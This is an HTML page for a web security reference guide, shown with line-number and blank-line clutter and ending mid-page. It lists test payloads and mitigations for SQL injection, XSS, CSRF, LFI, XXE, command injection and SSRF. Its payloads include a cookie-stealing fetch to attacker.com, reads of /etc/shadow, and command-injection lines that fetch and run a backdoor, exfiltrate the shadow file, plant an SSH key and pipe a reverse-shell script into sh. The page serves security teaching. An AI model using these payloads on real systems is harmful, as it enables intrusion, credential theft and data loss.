File size: 47,802 Bytes
348020b
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
<!DOCTYPE html>
<html lang="en" class="dark">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Web Security Vulnerabilities - Professional Reference Guide</title>
    <link rel="icon" type="image/x-icon" href="/static/favicon.ico">
    <script src="https://cdn.tailwindcss.com"></script>
    <script src="https://unpkg.com/feather-icons"></script>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/themes/prism-tomorrow.min.css" rel="stylesheet" />
    <script>
        tailwind.config = {
            theme: {
                extend: {
                    colors: {
                        primary: {
                            50: '#f8f9fa',
                            100: '#e9ecef',
                            200: '#dee2e6',
                            300: '#ced4da',
                            400: '#adb5bd',
                            500: '#6c757d',
                            600: '#495057',
                            700: '#343a40',
                            800: '#212529',
                            900: '#000000',
                        },
                        accent: {
                            50: '#fff7ed',
                            100: '#ffedd5',
                            200: '#fed7aa',
                            300: '#fdba74',
                            400: '#fb923c',
                            500: '#f97316',
                            600: '#ea580c',
                            700: '#c2410c',
                            800: '#9a3412',
                            900: '#7c2d12',
                        }
                    }
                }
            },
            darkMode: 'class'
        }
    </script>
    <style>
        .gradient-bg {
            background: linear-gradient(135deg, #000000 0%, #1a1a1a 100%);
        }
        .hero-pattern {
            background-image: radial-gradient(circle at 1px 1px, rgba(249, 115, 22, 0.1) 1px, transparent 0);
            background-size: 20px 20px;
        }
        .vulnerability-card {
            transition: all 0.3s ease;
        }
        .vulnerability-card:hover {
            transform: translateY(-2px);
            box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.5), 0 10px 10px -5px rgba(0, 0, 0, 0.3);
        }
        .code-block {
            background: #1a1a1a;
            border: 1px solid #333;
            border-radius: 8px;
        }
        .scroll-smooth {
            scroll-behavior: smooth;
        }
    </style>
</head>
<body class="bg-black-900 text-white font-sans scroll-smooth">
    <!-- Navigation -->
    <nav class="fixed top-0 w-full bg-black-900/95 backdrop-blur-sm border-b border-gray-800 z-50">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="flex justify-between items-center h-16">
                <div class="flex items-center">
                    <i data-feather="shield" class="w-8 h-8 text-accent-500 mr-3"></i>
                    <span class="text-xl font-bold text-white">Security Reference</span>
                </div>
                <div class="hidden md:block">
                    <div class="ml-10 flex items-baseline space-x-4">
                        <a href="#overview" class="text-gray-300 hover:text-accent-500 px-3 py-2 rounded-md text-sm font-medium transition-colors">Overview</a>
                        <a href="#vulnerabilities" class="text-gray-300 hover:text-accent-500 px-3 py-2 rounded-md text-sm font-medium transition-colors">Vulnerabilities</a>
                        <a href="#methodologies" class="text-gray-300 hover:text-accent-500 px-3 py-2 rounded-md text-sm font-medium transition-colors">Methodologies</a>
                        <a href="#resources" class="text-gray-300 hover:text-accent-500 px-3 py-2 rounded-md text-sm font-medium transition-colors">Resources</a>
                    </div>
                </div>
                <div class="md:hidden">
                    <button id="mobile-menu-button" class="text-gray-300 hover:text-accent-500">
                        <i data-feather="menu" class="w-6 h-6"></i>
                    </button>
                </div>
            </div>
        </div>
        <!-- Mobile menu -->
        <div id="mobile-menu" class="md:hidden hidden bg-black-800 border-t border-gray-700">
            <div class="px-2 pt-2 pb-3 space-y-1 sm:px-3">
                <a href="#overview" class="text-gray-300 hover:text-accent-500 block px-3 py-2 rounded-md text-base font-medium">Overview</a>
                <a href="#vulnerabilities" class="text-gray-300 hover:text-accent-500 block px-3 py-2 rounded-md text-base font-medium">Vulnerabilities</a>
                <a href="#methodologies" class="text-gray-300 hover:text-accent-500 block px-3 py-2 rounded-md text-base font-medium">Methodologies</a>
                <a href="#resources" class="text-gray-300 hover:text-accent-500 block px-3 py-2 rounded-md text-base font-medium">Resources</a>
            </div>
        </div>
    </nav>

    <!-- Hero Section -->
    <section class="relative pt-20 pb-16 gradient-bg hero-pattern">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="text-center">
                <h1 class="text-4xl md:text-6xl font-bold text-white mb-6">
                    Web Security Vulnerabilities
                    <span class="text-accent-500 block">Professional Reference Guide</span>
                </h1>
                <p class="text-xl text-gray-300 mb-8 max-w-3xl mx-auto">
                    A comprehensive reference guide for security professionals, penetration testers, and developers
                </p>
                <div class="flex flex-col sm:flex-row justify-center items-center space-y-4 sm:space-y-0 sm:space-x-8 mb-12">
                    <div class="flex items-center">
                        <i data-feather="database" class="w-6 h-6 text-accent-500 mr-2"></i>
                        <span class="text-lg font-semibold">15+ Vulnerability Types</span>
                    </div>
                    <div class="flex items-center">
                        <i data-feather="check-circle" class="w-6 h-6 text-accent-500 mr-2"></i>
                        <span class="text-lg font-semibold">200+ Test Cases</span>
                    </div>
                    <div class="flex items-center">
                        <i data-feather="shield-check" class="w-6 h-6 text-accent-500 mr-2"></i>
                        <span class="text-lg font-semibold">Professional Security Reference</span>
                    </div>
                </div>
                <div class="relative">
                    <img src="https://dfews.com/hero-security-center.png" alt="Security Operations Center" class="mx-auto rounded-lg shadow-2xl border border-gray-700 max-w-full h-auto">
                    <div class="absolute inset-0 bg-gradient-to-t from-black-900/50 to-transparent rounded-lg"></div>
                </div>
            </div>
        </div>
    </section>

    <!-- Overview Section -->
    <section id="overview" class="py-16 bg-black-800">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="text-center mb-12">
                <h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Security Testing Overview</h2>
                <div class="w-24 h-1 bg-accent-500 mx-auto"></div>
            </div>
            <div class="grid md:grid-cols-3 gap-8">
                <div class="bg-black-900 p-6 rounded-lg border border-gray-700">
                    <div class="flex items-center mb-4">
                        <i data-feather="target" class="w-8 h-8 text-accent-500 mr-3"></i>
                        <h3 class="text-xl font-semibold text-white">Professional Purpose</h3>
                    </div>
                    <p class="text-gray-300">
                        This reference guide is designed for legitimate security testing, penetration testing, and vulnerability assessment activities. All content is provided for educational and professional development purposes.
                    </p>
                </div>
                <div class="bg-black-900 p-6 rounded-lg border border-gray-700">
                    <div class="flex items-center mb-4">
                        <i data-feather="cpu" class="w-8 h-8 text-accent-500 mr-3"></i>
                        <h3 class="text-xl font-semibold text-white">Testing Methodologies</h3>
                    </div>
                    <p class="text-gray-300">
                        Covering OWASP Top 10, advanced injection techniques, authentication bypasses, and modern attack vectors used in professional security assessments.
                    </p>
                </div>
                <div class="bg-black-900 p-6 rounded-lg border border-gray-700">
                    <div class="flex items-center mb-4">
                        <i data-feather="heart" class="w-8 h-8 text-accent-500 mr-3"></i>
                        <h3 class="text-xl font-semibold text-white">Best Practices</h3>
                    </div>
                    <p class="text-gray-300">
                        All testing should be performed on authorized systems only. This guide emphasizes responsible disclosure and ethical security practices.
                    </p>
                </div>
            </div>
        </div>
    </section>

    <!-- Vulnerabilities Section -->
    <section id="vulnerabilities" class="py-16 bg-black-900">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="text-center mb-12">
                <h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Vulnerability Reference</h2>
                <div class="w-24 h-1 bg-accent-500 mx-auto"></div>
                <p class="text-gray-300 mt-4 max-w-2xl mx-auto">
                    Comprehensive reference covering common web application vulnerabilities, test cases, and mitigation strategies
                </p>
            </div>

            <!-- SQL Injection -->
            <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
                <div class="flex items-center mb-4">
                    <div class="w-4 h-4 bg-red-500 rounded-full mr-3"></div>
                    <h3 class="text-2xl font-bold text-white">SQL Injection</h3>
                    <span class="ml-auto bg-red-500 text-white px-3 py-1 rounded-full text-sm font-semibold">Critical</span>
                </div>
                <p class="text-gray-300 mb-6">
                    SQL injection allows attackers to interfere with the queries an application makes to its database, potentially accessing, modifying, or deleting unauthorized data.
                </p>
                <div class="grid md:grid-cols-2 gap-6">
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
                        <div class="code-block p-4 rounded-lg overflow-x-auto">
                            <pre><code class="text-green-400 text-sm">' OR 1=1--
"; DELETE FROM users--
" UNION SELECT password FROM users WHERE username = 'admin'--
" OR '1'='1
" OR "1"="1
" OR "a"="a
" AND "a"="b
" OR "a" LIKE "a
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
'; WAITFOR DELAY '0:0:5'--
'; SELECT * FROM sys.tables--</code></pre>
                        </div>
                    </div>
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
                        <ul class="space-y-2 text-gray-300">
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use parameterized queries and prepared statements
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement proper input validation and sanitization
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Apply principle of least privilege to database users
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use stored procedures with proper parameterization
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Enable SQL query logging and monitoring
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use web application firewalls (WAF) with SQL injection rules
                            </li>
                        </ul>
                    </div>
                </div>
            </div>

            <!-- XSS -->
            <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
                <div class="flex items-center mb-4">
                    <div class="w-4 h-4 bg-red-500 rounded-full mr-3"></div>
                    <h3 class="text-2xl font-bold text-white">Cross-Site Scripting (XSS)</h3>
                    <span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
                </div>
                <p class="text-gray-300 mb-6">
                    XSS vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users, potentially stealing session tokens, cookies, or performing actions on behalf of the user.
                </p>
                <div class="grid md:grid-cols-2 gap-6">
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
                        <div class="code-block p-4 rounded-lg overflow-x-auto">
                            <pre><code class="text-green-400 text-sm">&lt;script&gt;alert("XSS")&lt;/script&gt;
&lt;script&gt;alert(document.cookie)&lt;/script&gt;
&lt;img src="x" onerror="alert(document.cookie)"&gt;
&lt;a href="javascript:alert(document.cookie)"&gt;Click Here&lt;/a&gt;
&lt;svg onload=alert(document.domain)&gt;
&lt;script&gt;fetch('//attacker.com/xss?data='+document.cookie)&lt;/script&gt;</code></pre>
                        </div>
                    </div>
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
                        <ul class="space-y-2 text-gray-300">
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement Content Security Policy (CSP) headers
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Encode output based on context (HTML, JavaScript, URL)
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use modern frameworks with built-in XSS protection
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Validate and sanitize all user input
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use HTTP-only and Secure cookie flags
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement proper input validation on both client and server
                            </li>
                        </ul>
                    </div>
                </div>
            </div>

            <!-- CSRF -->
            <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
                <div class="flex items-center mb-4">
                    <div class="w-4 h-4 bg-orange-500 rounded-full mr-3"></div>
                    <h3 class="text-2xl font-bold text-white">Cross-Site Request Forgery (CSRF)</h3>
                    <span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
                </div>
                <p class="text-gray-300 mb-6">
                    CSRF attacks force authenticated users to submit unwanted requests to web applications where they're currently logged in.
                </p>
                <div class="grid md:grid-cols-2 gap-6">
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
                        <div class="code-block p-4 rounded-lg overflow-x-auto">
                            <pre><code class="text-green-400 text-sm">&lt;img src="http://example.com/transfer.php?amount=1000&to=attacker_account" /&gt;

&lt;form action="http://example.com/transfer.php" method="POST"&gt;
    &lt;input type="hidden" name="amount" value="1000"&gt;
    &lt;input type="hidden" name="to" value="attacker_account"&gt;
    &lt;input type="submit" value="Submit request"&gt;
&lt;/form&gt;</code></pre>
                        </div>
                    </div>
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
                        <ul class="space-y-2 text-gray-300">
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement CSRF tokens for state-changing operations
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use SameSite cookie attributes
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Validate Referer and Origin headers
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement double-submit cookie pattern
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use custom request headers for API endpoints
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement proper authentication for sensitive operations
                            </li>
                        </ul>
                    </div>
                </div>
            </div>

            <!-- LFI -->
            <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
                <div class="flex items-center mb-4">
                    <div class="w-4 h-4 bg-orange-500 rounded-full mr-3"></div>
                    <h3 class="text-2xl font-bold text-white">Local File Inclusion (LFI)</h3>
                    <span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
                </div>
                <p class="text-gray-300 mb-6">
                    LFI vulnerabilities allow attackers to include files on a server through the web browser, potentially leading to information disclosure or code execution.
                </p>
                <div class="grid md:grid-cols-2 gap-6">
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
                        <div class="code-block p-4 rounded-lg overflow-x-auto">
                            <pre><code class="text-green-400 text-sm">../../../etc/passwd
../../../etc/shadow
/proc/self/environ%00
../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../Windows/win.ini%00
php://filter/convert.base64-encode/resource=index.php
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
expect://ls</code></pre>
                        </div>
                    </div>
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
                        <ul class="space-y-2 text-gray-300">
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use allowlists for file inclusion
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Validate and sanitize file paths
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Disable dangerous PHP functions
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use proper file permissions
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement proper error handling
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use chroot or jail environments
                            </li>
                        </ul>
                    </div>
                </div>
            </div>

            <!-- XXE -->
            <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
                <div class="flex items-center mb-4">
                    <div class="w-4 h-4 bg-orange-500 rounded-full mr-3"></div>
                    <h3 class="text-2xl font-bold text-white">XML External Entity (XXE)</h3>
                    <span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
                </div>
                <p class="text-gray-300 mb-6">
                    XXE vulnerabilities allow attackers to interfere with an application's processing of XML data, potentially accessing internal files or making network requests.
                </p>
                <div class="grid md:grid-cols-2 gap-6">
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
                        <div class="code-block p-4 rounded-lg overflow-x-auto">
                            <pre><code class="text-green-400 text-sm">&lt;!DOCTYPE foo [
  &lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&gt;
]&gt;
&lt;foo&gt;&amp;xxe;&lt;/foo&gt;

&lt;!DOCTYPE foo [
  &lt;!ENTITY xxe SYSTEM "http://evil.com/exploit"&gt;
]&gt;
&lt;foo&gt;&amp;xxe;&lt;/foo&gt;</code></pre>
                        </div>
                    </div>
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
                        <ul class="space-y-2 text-gray-300">
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Disable XML external entity processing
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use modern XML parsers with secure defaults
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Validate XML input against strict schemas
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Consider using JSON instead of XML
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement proper input validation
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use sandboxed XML processing environments
                            </li>
                        </ul>
                    </div>
                </div>
            </div>

            <!-- Command Injection -->
            <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
                <div class="flex items-center mb-4">
                    <div class="w-4 h-4 bg-red-500 rounded-full mr-3"></div>
                    <h3 class="text-2xl font-bold text-white">Command Injection</h3>
                    <span class="ml-auto bg-red-500 text-white px-3 py-1 rounded-full text-sm font-semibold">Critical</span>
                </div>
                <p class="text-gray-300 mb-6">
                    Command injection is a security vulnerability that allows an attacker to execute arbitrary commands on the host operating system via a vulnerable application. This attack is possible when an application passes unsafe user supplied data to a system shell.
                </p>
                <div class="grid md:grid-cols-2 gap-6">
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
                        <div class="code-block p-4 rounded-lg overflow-x-auto">
                            <pre><code class="text-green-400 text-sm">; cat /etc/passwd
&& wget http://malicious.com/backdoor -O /tmp/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor
| base64 /etc/shadow | curl -X POST -d @- http://attacker.com/exfil
`echo 'ssh-rsa AAAAB...' >> ~/.ssh/authorized_keys`
$(curl http://attacker.com/reverse_shell.sh | sh)</code></pre>
                        </div>
                    </div>
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
                        <ul class="space-y-2 text-gray-300">
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Avoid using system commands with user input
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use parameterized commands or APIs
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement strict input validation and sanitization
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use proper escaping and encoding
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Run applications with least privilege
                            </li>
                        </ul>
                    </div>
                </div>
            </div>

            <!-- SSRF -->
            <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
                <div class="flex items-center mb-4">
                    <div class="w-4 h-4 bg-red-500 rounded-full mr-3"></div>
                    <h3 class="text-2xl font-bold text-white">Server-Side Request Forgery (SSRF)</h3>
                    <span class="ml-auto bg-red-500 text-white px-3 py-1 rounded-full text-sm font-semibold">Critical</span>
                </div>
                <p class="text-gray-300 mb-6">
                    Server-Side Request Forgery (SSRF) is a type of vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.
                </p>
                <div class="grid md:grid-cols-2 gap-6">
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
                        <div class="code-block p-4 rounded-lg overflow-x-auto">
                            <pre><code class="text-green-400 text-sm">http://localhost:8080/admin
http://127.0.0.1:3306
http://10.0.0.0/8
http://[::1]:22
file:///etc/passwd
dict://attacker:11111/
gopher://127.0.0.1:9000/_GET%20/secret%20HTTP/1.1</code></pre>
                        </div>
                    </div>
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
                        <ul class="space-y-2 text-gray-300">
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Validate and sanitize all user-supplied URLs
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement URL allowlists and blocklists
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Disable unnecessary URL schemes (file://, dict://, etc.)
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use network segmentation to isolate internal services
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement proper error handling without information disclosure
                            </li>
                        </ul>
                    </div>
                </div>
            </div>

